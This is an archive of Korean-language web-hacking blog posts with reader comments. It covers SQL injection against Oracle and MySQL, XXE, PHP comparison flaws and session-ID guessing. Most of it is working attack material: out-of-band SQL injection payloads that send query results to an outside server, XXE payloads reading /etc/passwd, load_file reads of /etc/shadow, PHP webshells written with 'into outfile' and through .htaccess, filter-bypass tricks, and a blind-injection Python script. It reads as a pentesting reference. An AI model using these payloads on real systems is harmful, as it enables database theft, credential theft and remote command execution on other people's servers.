Web Hacking


최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데,  XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다. 



BlindSQL 인젝션

ex) 7777 and 1=1 from dual--



OOB (Out of Band)

OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.


ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --


이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.





XXE(XML eXternal Entity)


XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.


ex) XXE 예시

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [ 

   <!ENTITY xxe SYSTEM "file:///etc/passwd"> 

]>

<tag>&xxe;</tag>






XXE 를 이용한 SQL인젝션 OOB (SQL인젝션 + XXE)


오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.



 7777 and 1=((select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE  root [ <!ENTITY % remote SYSTEM "http://x.x.x.x/'||(SELECT user from dual)||'">%remote;]>'),'/l') from dual)) FROM DUAL-- 







결과값을 받을 외부 서버에서)


# python -m SimpleHTTPServer 53

Serving HTTP on 0.0.0.0 port 53 ...

x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found

x.x.x.x - - [09/Nov/2018 10:48:25] "GET /hyunmini HTTP/1.0" 404 -




위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.


웹해킹은 여전히 심오하다. 끝.

  1. 지나가는사람 2018.11.13 10:56

    신기하네요 ㅇㅂㅇ

  2. shin 2018.11.13 11:17

    이런 방법도 있군요....
    요즘 인젝션 방화벽우회공부하고 파이썬을 이용한 출력을 공부했는데요
    그런데 아쿠네틱스를 활용한 공격은 구글링에서도 없더라구요ㅠㅠ
    님은 어떤식으로 공부하시나요???

  3. BlogIcon 로이드맨ㅎ 2019.03.21 11:17 신고

    감사합니다.


오랜만의 webhacking 포스팅이다. 

This short article is about webhacking.




Oracle Error Based SQL Injection


Oracle Error Based SQL Injection 공격시 주로  utl_inaddr.get_host_name()  함수를 이용한다. 

I usually use utl_inaddr.get_host_name() functions when Oracle Error Based SQL Injection.



ex)  utl_inaddr.get_host_name( (select user from dual) )

       => 'hyunmini' 호스트를 찾을 수 없습니다.

        =>  'hyunmini' host not found.



이번 타겟은 웹방화벽에서 get_host_name 함수를 차단하고 있어서 해당 함수를 사용이 불가능했기에 다른 방법을 찾아보았다. 

This Target was blocking the get_host_name function in the WAF, so I tried another way.


조금 찾아보니 역시 다른 방법이 몇가지가 있었다. 이번에 테스트 해본 방법은 xmltype() 함수이다.

After googling, I found some other ways. One way is to use the xmltype() function. 

(참고 : https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)

(Reference: https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)



xmltype()


xmltype() 함수를 이용하면 아래와 같이 데이터를 쉽게 빼올 수 있었다.
Using the xmltype() function, I could easily get the data as shown below.

ex)

vulparam=1 and (select ''||

 xmltype('<'||regexp_replace(utl_raw.cast_to_varchar2(utl_encode.base64_encode(
   utl_raw.cast_to_raw( (select+global_name+from+global_name) )
  ))||'%3ax>',chr(10)||'|'||chr(13)||'|%3d',''))||''+from+dual)--



인젝션 결과 : 선언되지 않은 네임스페이스 접두어 'hyunminidb'
injection result : Undeclared namespace prefix 'hyunminidb'



끝!

The End!


jquery 가 많이 사용되고 있는데, 이러한 경우 버튼 실행 시 실제로 수행되는 코드를 찾는 게 간혹 귀찮은 경우가 있다.


난독화가 되어 있다거나, 객체를 여러번 호출하는 경우 등..


이런 경우 아래와 같이 자바스크립트를 이용하면 쉽게 메소드 확인이 가능하다.


메소드명만 확인해도 어느정도 기능을 알 수 있기 때문에 도움이 된다.


또한 함수는 toString() 메소드를 이용하면 코드 내용까지 확인할 수 있다.






console.log(Object.getOwnPropertyNames(scard.storage));

-------------------------

set,get,remove,clearAll







console.log(scard.storage.get.toString())

--------------------------

function(g, h) {

    if (g == null || typeof g === "undefined") {

        scard.log.debug("[scard.storage] key가 올바르지 않습니다.")

    }

    if (e) {

        if (typeof h === "object") {

            e["obj_" + g] = encodeURIComponent(JSON.stringify(h));

            e.removeItem("nob_" + g)

        } else {

            e["nob_" + g] = encodeURIComponent(h);

            e.removeItem("obj_" + g)

        }

    } else {

        scard.log.debug("[scard.storage] 스토리지에 저장된 값이 없습니다.");

        return

    }

}






이를 이용하면 for 문을 써서 적당히 함수 하나 만들어서 객체의 메소드와 변수, 함수 코드 등을 출력할 수 있을 듯 하다.

php 의 연산자 취약점

2016. 7. 28. 09:18


php 에는 "==" 을 이용한 느슨한 비교와 "===" 를 이용한 엄격한 비교가 있다. "==" 의 경우 타입에 따라 "같다" 라는 기준을 모호하게 적용하고 있기 때문에


이로 인해 취약점이 발생하기도 한다. 자세한 것은 아래 표를 참고하자.


http://php.net/manual/kr/types.comparisons.php



 예를 들어 비밀번호 비교 구문 등에서 "==" 를 사용하면 "패스워드"=0 등과 같이 우회될 수도 있다는 것.

  1. 고맙습니다 2017.04.29 11:42

    좋은 정보 감사합니다

PHP "==" 연산자 취약점

2016. 1. 12. 01:40





문제 풀다 md5 충돌(?) 을 가장한 특이한 문제를 보게 되어 정리해 둔다.


이 문제는 md5 collision 이 발생하는 것이 아닌, php 비교문("==") 의 취약점이라고 볼 수 있다.


"==" 비교 연산자와 "===" 의 연산자는 차이가 있는데, "==" 를 사용하면 아래와 같이 의도하지 않은 엉뚱한 결과가 나온다.


root@kali:~/Desktop/# cat test.php

<?

$v1 = "0e1208123";

$v2 = "0e0956871";

if (($v1) == (($v2))){ echo "equal\n"; }

?>


두개의 문자열이 분명 다름에도 불구하고 아래와 같이 같다고 나온다.


root@kali:~/Desktop/# php test.php

equal



자세한 이유는 여기저기 많이 설명되어 있었다.


http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo


요약하면 "==" 는 문자가 모두 숫자로 이루어진 경우, 숫자로 변환하여 비교를 하게 되는데, 


위와 같은 경우 둘다 0 으로 변환되어 0=0 이 되어 true 가 된다는 것.


  1. BlogIcon ㅇㅅㅊ 2016.11.18 22:25

    잘 보고 갑니당


보안 공부를 하는 사람들이라면 Burp Proxy 툴은 대부분 잘 알고 있을 것이다. 




Burp 는 자동으로 SSL이 적용된 사이트에서도 MITM 을 자동으로 수행해 주어 트래픽을 수정할 수 있게 해 준다.


하지만 간혹 google 및 일부 금융 사이트들에서는 안 되는 경우가 있다.(SSL과 PKI의 개념까지 설명하면 너무 길어지니 굳이 개념을 설명하진 않겠다.) 



간단히 말해서 MITM을 하므로 브라우저는 신뢰할 수 없는 인증서로 인식하여 빨갛게 표시해 주게 된다. 브라우저가 가지고 있는 신뢰할 수 있는 루트 기관 목록이 아니기 때문이다.





이러한 경우에는 Burp 인증서를 브라우저에 신뢰인증기관 인증서로 등록해 주면 된다. 


http://burp/ 로 접속해 보면 CA인증서를 다운로드 받을 수 있다. 혹은  http://burp/cert 를 입력하면 바로 다운로드 할 수 있다.




   인증서를 저장 한 뒤 설치하면 된다.




이렇게 다운받은 인증서를 신뢰할 수 있는 루트 인증 기관으로 설치를 마치고 나면 아래와 같이 정상적인 


SSL사이트로 보이는 것을 확인 할 수 있다. 이제 프록시로 접속이 안되던 일부 SSL사이트도 기존 HTTP와 마찬가지로 


수정이 가능하다~



  1. Fire 2017.01.06 13:39

    감사합니다.

XXE(Xml eXternal Entity) Attack

2015. 2. 27. 01:21


시간내서 정리 해야지 해야지 하다가 최근 모의해킹에 사용할 일이 생겨서 정리해 둔다.


1) 공격 대상 및 소스





 간단하게 XML 로 입력을 받아서 파싱한 후 출력해주는 페이지이다. 실제로도 생각보다 현업에도 종종 있다. 


 물론 저렇게 직접 입력을 받는 것은 아니고 파라미터로 입력받은 문자들을 XML로 주고 받는 형식이 대부분이다.




1) 공격 가능성 확인






<?xml version="1.0"?>

  <!DOCTYPE root

  [

     <!ENTITY foo SYSTEM "http://192.168.0.8/ping">

  ]>

  <test><testing>&foo;</testing></test>



결과

root@kali:/var/log/apache2# tail -f access.log 

192.168.0.8 - - [26/Feb/2015:23:47:17 +0900] "GET /ping HTTP/1.0" 404 482 "-" "-"

192.168.230.2 - - [26/Feb/2015:23:47:17 +0900] "GET /xml2.php HTTP/1.1" 200 388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"


로그가 찍히는 것으로 보아 정상적으로 서버에 결과값이 전송됨을 알 수 있다.



  1. 익명 2018.03.15 22:46

    비밀댓글입니다


SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substring( version(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user(), version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성


  1. dogbong 2014.10.06 23:24

    오 베리 굿굿입니다 ^^;


MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다. 


하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.


1) 추측(brute forcing)

    search_value=-1' union select 'abcde',1,2 from mail# 

     => java.lang.Exception: General error,  message from server: "Table 'cleandb.mail' doesn't exist"


2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)

    -1' union select load_file('/etc/passwd'),2,3#

    => 계정 및 홈폴더 파악

    -1' union select load_file('/var/www/htm/member.php'),2,3#

    => 소스코드 열람 및 쿼리문을 보고 테이블명 확인


3) MySQL 로그파일 열람

    -1' union select load_file('/var/log/mysql/log/error.log'),2,3#


4) 웹쉘 업로드

    -1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)



Naver XSS 제보

2014. 3. 14. 01:19


까페 관리 좀 하다가 실수로 입력한 " 에서 스크립트 오류가 발생하는 걸 보고...아무 생각없이 잠시 쳐다보다가


XSS 취약점을 발견했습니다. 뭐 어차피 찾기 쉬운 취약점이고 마음먹고 찾으면 수십개도 찾을 수 있는 취약점이라 


그냥 둘까 했으나 착하게 제보해주기로 마음먹고 버그신고를 통해 눈에 보이는 몇개 제보했습니다.

(고치긴 하려나 궁금해서-_-ㅋ)




  1. BlogIcon Leopardan 2014.03.14 08:54 신고

    우왕 +_+ ~

    • BlogIcon hyunmini 2014.03.15 00:22 신고

      일 잘하고 있나? ㅋㅋ 시기때문인지 하루만에 고쳤네 ㅋㅋㅋㅋ 오올 ㅋㅋ

  2. BlogIcon Leopardan 2014.03.23 22:48 신고

    오 대응이 빨랐네요 ㅋㅋ
    형 잘 계시죠? 판교쪽 오시면 연락주세요 ㅎㅎ
    식사식사식사 +_+/

  3. 익명 2014.03.23 22:51

    비밀댓글입니다


* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법


으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는


진법 변환을 해준다.


인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의


핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.




결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.



mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';

+-------------------------------------------+

| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |

+-------------------------------------------+

| 01100001                                  |

+-------------------------------------------+



1th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 1

2th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 1

Nth)
...

이와 같이 8번의 쿼리로 정확히 한글자씩 알아낼 수 있다.




# 비슷한 함수(테스트 필요)


MySQL : LPAD()  

MSSQL : REPLICATE()

Oracle : LPAD()




# 공격 예

index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0




  1. adm1nkyj 2014.08.14 04:49

    퍼가요~
    http://blog.naver.com/adm1nkyj/220091490529


php 어플리케이션에서 .htaccess 를 이용하면 다양한 공격을 시도할 수 있다.



1) php 확장자가 아닌 다른 어떤 확장자로도 웹쉘 업로드가 가능해진다.(지정 가능)


AddType application/x-httpd-php .txt


위와 같은 .htaccess 를 먼저 업로드 후 webshell.txt 파일 업로드




2) htaccess 자체를 웹쉘로 사용

============================================

<Files ~ "^\.ht">

Order allow, deny

Allow from all

</Files>

interpreted

AddType application/x-httpd-php .htaccess


<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>


http://www.attack1234.co.kr/.htaccess?c=ls

============================================

출처 : http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html




3) php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.


php_flag engine off

AddType text/plain php



4) 악성코드 페이지로 리다이렉트 등

mysql 우회 기법 정리

2014. 2. 5. 02:12


# 공백 우회

- /**/

- %09, %0d, %0a

- select`id`from`user`


# ' 우회

- concat(char(49),char(50)) = '12'

- char(0x31,0x32,0x33) = '123'

- 0x41424344 = 'abcd'

- x'41424344' = 'abcd'

- true + true =2

- where '1'=0   /  False Injection, 1=1 과 동일함


# 함수 정리

unix_timestamp()  -> '135461123'

inet_ntoa(2108797737) -> '125.177.179.41'


# insert injection 

"a1','a2','a3'), ('b1','b2','b3'), ('c1"

insert into test values ('a','b','c') 

                 =

insert into test select 'a','b','c'


# 키워드 우회

substr('abc',1,1) == right(left('abc',1),1)

substr('abc',2,1) == right(left('abc',2),1)




등...(정리중)



MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.


워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;


더욱 열심히 공부해야 겠습니다.




요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.


select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선 


","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해 


mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.




mysql> select id from test where no=1 procedure analyse();

+--------------+-----------+-----------+------------+------------+------------------+-----+

| Field_name    | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | 

+--------------+-----------+-----------+------------+------------+------------------+-----+

| test.test.id  |   admin     |   admin     |                5 |               5 |                         0 |     0 |

+--------------+-----------+-----------+------------+------------+------------------+-----+



중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해


테이블명을 알 수 있다는 것입니다. 


mysql> select id from test where no=limit 0,1 procedure analyse();   // 첫째 필드

mysql> select id from test where no=limit 1,1 procedure analyse();   // 둘째 필드

mysql> select id from test where no=limit 2,1 procedure analyse();   // 셋째 필드


information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)

  1. ezno 2014.10.04 21:34

    좋은글 감사합니다. 퍼가요~ ㅋㅋㅋ

  2. BlogIcon ch4n3 2017.01.22 01:37 신고

    우와.. 감사합니다.. 짱해커시네요...ㄷ



다들 아시다시피 php 에는 특수문자 공격 방지를 위한 magic_qoutes_gpc() 기능이 존재합니다.



# 기본 인젝션 구문

test' or 'a'='a'--


# magic_qoutes_gpc() 적용 후

test\' or \'a\'=\'a\'--



위와같이 자동으로 '," 등에 \ 을 삽입하여 문자열로 인식시키기 때문에 일반적인 SQL Injection 을 쉽게 방어할 


수 있게 됩니다. (%bf 우회 등 특수만 몇몇 경우 제외) 


이 옵션이 켜져 있는 php 기반 웹사이트의 경우 인젝션을 성공시키기 어렵습니다. 


주로 숫자필드를 찾아 char(), 0x 등으로 우회하게 되죠.


하지만 이 magic_qoutes_gpc() 가 동작하지 않는 경우가 있습니다. 정확히 말하면 동작하기 전이죠.



바로 getenv() 함수로 아파치 변수를 직접 가져올 때입니다. 아파치는 몇몇 주요 변수들을 직접 저장해서 php 


에서 활용할 수 있도록 하고 있는데, 이런 경우 php 를 거치기 전이므로 \' 처리가 되기 전입니다.



# 취약 예제


$agent=getenv("HTTP_USER_AGENT");

$q=@mysql_query("insert into test values('$agent','$ip')"



이와 같은 경우 uger-agent 필드에 인젝션이 가능하게 됩니다. 또한 쿠키에도 해당 기능이 동작하지 않으므로 동일하게 인젝션


이 가능합니다.





md5 의 옵션중 raw_output 옵션이 있는데, 이 raw_output 을 이용하면 취약성이 존재한다.


아는 사람이야 다 알지만 특수한 경우이고 아직 잘 알려지진 않아서 대회 문제나 워게임 등에 종종 등장하기도 한다.


raw_output 옵션을 True 로 주면 md5 의 값이 hex 값이 아니라 binary 값으로 출력이 된다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").hexdigest()'

202cb962ac59075b964b07152d234b70



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").digest()'
 ,�b�Y[�K-#Kp


위처럼 문자가 직접 출력이 되는데, 이와 같은 경우 패스워드 비교문에 raw_output 값을 true 로 주면 아래와 같은 취


약성이 발생한다. 아래와 같이 output 에 '=' 문자가 포함되는 경우 sql injection 이 가능해 진다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("9235566").digest()'

���'='ә�0�����



로그인 쿼리문 : select * from user where id=입력값 and password=입력값


취약점을 악용한 쿼리문 : select * from user where id='admin' and password='���'='ә�0��'




password='abc'='def' 으로 false injection 이 되어 1=1 과 동일한 결과값이 출력된다.







필드명 sql injection

2014. 2. 1. 21:48


# 필드명 sql injection 



$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));



위와 같이 필드명에 인젝션이 가능하나 뒤의 order by 등에 의해 안될경우..


'1234' as id  



BlindSQL Injection 소스

2014. 2. 1. 18:01


BlindSQL Injection 소스.

예전부터 쓰던거고 그때그때 수정해서 대충 쓰고 있습니다. 언젠가 코드 정리 한번해서 범용적으로


쓸 수 있게 고칠 예정입니다...ㅎㅎ


# 추가 필요한 기능들

- parameter 입력(귀찮아서 지금은 하드코딩)

- 인젝션 자동 탐색(...)

- 패턴차단 우회기능(인코딩,공백치환 등등)

- db 종류별 스키마 등 자동 추출 가능하게 변경


# SQL Injector.py

#!/usr/bin/python
import sys
import getopt,urllib2
from urllib import *
import string

base = "http://www.****.com/index.php"  // 대상 URL
TrueKeyword = "onlyTrueKeyword"  // 참인 경우에만 들어있는 키워드

def CheckInject(tNum,num,t):     ## Checking Condition(T or F) ?
	cookie='PHPSESSID=r099a6f35u0la29it5p1egr3p5'
	injectParam = "2 and char(%s)>substr(pw,%s,1)-- " % (num,t) 
	param={'no':injectParam,'id':'admin','pw':'1234'}
	headers = {'Cookie':cookie}
	f = urllib2.Request(base + '?' + urlencode(param),headers=headers)
	response = urllib2.urlopen(f)
	text = response.read()
	if text.find(TrueKeyword) != -1:
		return True
	else:
		return False

def binarySearch(tNum,start,end,str):   ## Binary Searching algorithm
	mid = ( start + end ) / 2
	Result = CheckInject(tNum,mid,str)
	if ( end - start ) <= 1:
		if Result==False:
			return start
		else:
			return end
	if Result == False:
		print "        %2d" % mid ," > str - True"
		return binarySearch(tNum,mid,end,str)
	else:
		print "        %2d" % mid ," > str - False"
		return binarySearch(tNum,start,mid,str)

def SearchTabName(tNum):    ## Searching TableName
	TabName = ""
	tNum += 1
	print "[*] %dth Searching Database..." % tNum
	tNum -= 1
	for Count in range(1,255):
		print "    [*] Searching %s Str" % Count 
		FindStr = binarySearch(tNum,0,128,"%s" % str(Count))
		TabName = TabName + chr(FindStr).lower()
		if FindStr == 127:
			return TabName
		elif FindStr == 32:
			print "		[-] End of String !"
			break;
		elif FindStr != 40:
			print "      [+] Find Str : %s" % chr(FindStr).lower()
		else:
			print "		[-] Failure!"
	return TabName

TableList=[]
tReturn=True
for x in range(0,255):
	tmpTab=SearchTabName(x)
	
	print "\n================================"
	print "[+] Database Name  : %s " % tmpTab
	print "================================"

	break;
	print tmpTab
	if tmpTab == False:
		print '    [-] End of Table!'
		TableList.append(tmpTab)
		break
	TableList.append(tmpTab)

tCount=len(TableList)
if tCount > 0:
	print "\n================================"
	print "[+] %s Database Found !!" % tCount
	print "================================"
	for x in TableList:
		print x
	print "================================\n"
else:
	print "[-] Tables Searching Failure !!"




  1. ㅇㅇ 2017.04.13 15:51

    안녕하세요 질문 있습니다

    저 소스가지고 테스트 해보면 Find Str : ㅁ 이런식으로 네모 박스만 우르르 뜨고 Fail 뜨는데
    네모박스 안뜨게 하려면 어케 해야 하나요?


proxy 를 잡은 채(burp suite) HTTPS 사이트를 접속하면 간혹 아래처럼 오류가 발생한다. 



Burp proxy error: java.security.cert.CertificateException



이 경우 아래와 같이 java 의 보안 설정을 변경해주면 접속이 가능하다.


다만, 서버에서 거부하면 로그인 등은 안된다. 그래도 접속은 되니까 ㅡ.ㅡ..




C:\Program Files\Java\jre7\lib\security\java.security


# 수정전

 jdk.certpath.disabledAlgorithms=MD2  

                         v

# 수정후 ( MD2 삭제 )

 jdk.certpath.disabledAlgorithms=



sessionid 추측 공격

2013. 5. 23. 22:11


# 세션ID 


웹서버는 특정 클라이언트를 구분하기 위한 목적으로 세션 변수를 만들어서 서버측에 저장해 둔다. 그리고 해당 값


을 클라이언트측에 set-cookie 를 통해 내려보내고, 다음 접속 시 cookie 에 포함된 이 sessionID 값을 확인하여 로그


인된 사용자인지 등 서버측에 저장된 정보와 비교를 하게 된다.


# SessionID 예제 1

Cookie: PHPSESSID=lfh3d6kb7c33crgi5o48bub1t4


# SessionID 예제 2

PCID=13681101204539449991611 


이와 같이 일반적으로 숫자와 문자, 특수문자를 혼합하여 만들어 낸다. 예제1의 경우 기본적으로 php 에서 제공


하는 세션값을 보여주고 있으며, 예제2와 같이 서버상에서 직접 만들어서 설정해 줄수도 있다.



# SessionID 분석


그럼 이 세션값이 어떤 식으로 공격당할 수 있는지 알아보도록 하자. WebScarab 툴의 SessionID Analysis Plubin


을 이용해서 분석이 가능하다.


[그림 1] www.****.co.kr 사이트의 시간의 흐름에 따른 세션ID 값 변화


위 그림을 보면 세션ID중 일부는 고정된 값을 가지고 있으며(be8cd4cAAVX) 뒤의 문자열만 일정한 비율로 증가하고 


있음을 알 수 있다. 숫자로 변환된 값을 보면 시간에 따라 값이 증가하다가 한번씩 값이 떨어진 뒤 다시 증가하고 있다


는 것을 확실히 확인할 수 있다. 즉, 일정한 공식에 의해 값이 생성된다는 것을 알 수 있다.


                    [그림 2] 세션값 변화 그래프


위 그림을 보면 이제 확실히 이해가 갈 것이다. 이러한 경우 bruteforcing 을 통해 쉽게 타인의 세션값을 획득 할 수 있


을 것이다. 



또 다른 예제를 살펴보자.



                                          [글림 3] 시간별 세션값 변화 그래프 2


위 그래프를 보면, 이 사이트의 경우 2초마다 값이 반복됨을 알 수 있다. 이 경우 2초간 최소값과 최대값 사이의 값을 


bruteforcing 할 수 있다면, 혹은 몇몇 고정값만을 반복 요청한다면 타인의 세션값을 획득하게 될수도 있다. 



이와 같은 고정된 공식을 통해 세션값을 생성하면 분석이 된 후에는 임의의 세션값을 추측하여 타인의 세션값을 얻게


될수도 있다. 그렇다면 안전한 사이트는 어떨까?



                                              [그럼 4] 랜덤하게 변화되는 세션ID값


위 사이트의 경우 말그대로 랜덤한 값이 할당되고 있어 추측이 매우 어렵다는 것을 알 수 있다.   :)



  1. 익명 2013.07.04 12:28

    비밀댓글입니다


# 배너프린팅 (banner grabbing) 


 - 웹서버에 노출되는 정보를 수집하는 것.

 - 웹서버 종류에 따라 생각보다 많은 정보가 노출되기도 함 ( 운영체제 버전까지 노출되기도 함 )

 - 웹서버마다 설정법, 예방법은 모두 다르며 경우에 따라 컴파일을 다시 해주어야 하기도 함



# 자동화 소스


banner.py

 #-*- encoding:utf8 -*-

import sys,urllib
import urllib2
import socket

